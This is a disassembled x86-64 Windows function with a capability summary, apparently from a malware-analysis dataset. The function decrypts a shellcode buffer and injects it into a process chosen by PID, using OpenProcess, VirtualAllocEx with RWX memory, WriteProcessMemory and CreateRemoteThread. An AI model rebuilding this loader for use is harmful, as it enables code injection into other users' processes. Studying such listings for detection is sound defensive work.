Function at 0x14000149e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov eax, dword [0x140003204]
mov edx, eax
lea rax, section..data
mov rcx, rax
call dbg.decrypt
cmp dword [rbp + 0x10], 1
jg 0x1400014e8
lea rax, str.Please_insert_a_PID
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400017c4
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [0x140007040], eax
mov eax, dword [0x140007040]
test eax, eax
jne 0x140001524
lea rax, str.Invalid_PID_provided
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400017c4
mov eax, dword [0x140007040]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x140007030], rax
mov rax, qword [0x140007030]
test rax, rax
jne 0x140001582
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov eax, dword [0x140007040]
mov r8d, edx
mov edx, eax
lea rax, str.Cannot_open_process_with_PID__ld._Error:__lu_n
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x1400017c4
mov rax, qword [0x140007030]
mov rdx, rax
lea rax, str.Got_handle:_0x_p_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x140007030]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x201
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x140007048], rax
mov rax, qword [0x140007048]
test rax, rax
jne 0x140001611
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_while_allocating_code__error:__ld_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x140007030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x1400017c4
mov edx, dword [0x140007040]
mov rax, qword [0x140007048]
mov r9d, edx
mov r8, rax
mov edx, 0x201
lea rax, str.Allocated__zu_bytes_in_0x_p___ld__n
mov rcx, rax
call dbg.printf
mov rdx, qword [0x140007048]
mov rax, qword [0x140007030]
mov qword [rsp + 0x20], 0
mov r9d, 0x201
lea r8, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x1400016c9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_while_writing_the_shellcode_to_memory__error:__ld_n
mov rcx, rax
call dbg.printf
mov rdx, qword [0x140007048]
mov rax, qword [0x140007030]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [0x140007030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x1400017c4
lea rax, str.Shellcode_has_been_written_in_the_memory_
mov rcx, rax
call sym.puts
mov rax, qword [0x140007048]
mov rdx, rax
mov rax, qword [0x140007030]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [0x140007038], rax
mov rax, qword [0x140007038]
test rax, rax
jne 0x14000178a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._ERROR__Could_not_create_new_thread___ld__n
mov rcx, rax
call dbg.printf
mov rdx, qword [0x140007048]
mov rax, qword [0x140007030]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [0x140007030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x1400017c4
lea rax, str.___Remote_thread_has_been_created_successfully_
mov rcx, rax
call sym.puts
mov rax, qword [0x140007038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x140007030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret